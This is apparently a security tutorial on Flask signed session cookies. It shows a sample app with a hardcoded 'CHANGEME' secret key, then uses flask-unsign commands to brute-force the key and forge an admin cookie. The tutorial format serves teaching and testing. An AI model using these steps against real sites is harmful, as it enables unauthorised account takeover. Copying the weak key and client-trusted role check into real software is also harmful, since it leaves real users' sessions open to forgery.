Flask Session Cookies

Python Flask applications can create signed session cookies. A Hash-based Message Authentication Code (HMAC) function combines the message plaintext with a secret key.

This prevents the client from manipulating data stored in the cookie and sending it back to the server, unless they can determine the value of the secret key.

The following code sets a Flask session cookie, and then makes decisions based on the username specified in the cookie.

from flask import Flask,request,session
 
app = Flask(__name__)

app.config['SECRET_KEY'] = 'CHANGEME'
 
@app.route('/', methods = ['GET'])
def setcookie():
    if not 'username' in session:
         session['username'] = "user"

    if session['username'] == "admin":
         response = "Authentication succeeded: "+ session["username"]
    else:    
         response = "Authentication failed: "+ session["username"]

    return response
 
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

After visiting the site, we can see a session cookie has been added;

The cookie is compromised of three parts, seperated by period characters.

eyJ1c2VybmFtZSI6InVzZXIifQ.ZCcxgw.ErdND_UcFZgAm_dt_uBIkUWCRX0

PartEncoded DataPurpose
1eyJ1c2VybmFtZSI6InVzZXIifQBase64 encoded JSON. Decodes as {“username”:”user”}.
2ZCcxgwTimestamp
3ErdND_UcFZgAm_dt_uBIkUWCRX0HMAC

Flask-unsign can be used to brute force the signing key.

./flask-unsign --unsign --cookie "eyJ1c2VybmFtZSI6InVzZXIifQ.ZCcxgw.ErdND_UcFZgAm_dt_uBIkUWCRX0" --wordlist wordlist.txt
[*] Session decodes to: {'username': 'user'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 0 attempts
'CHANGEME'

Once we have the signing key, we can then sign new cookie values and supply this back to the server.

./flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'CHANGEME'
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZCczqg.M6GtJd39HMB2KZ_K7uu4t4zw9PE

Swapping out the cookie used by Firefox will then result in successful authentication.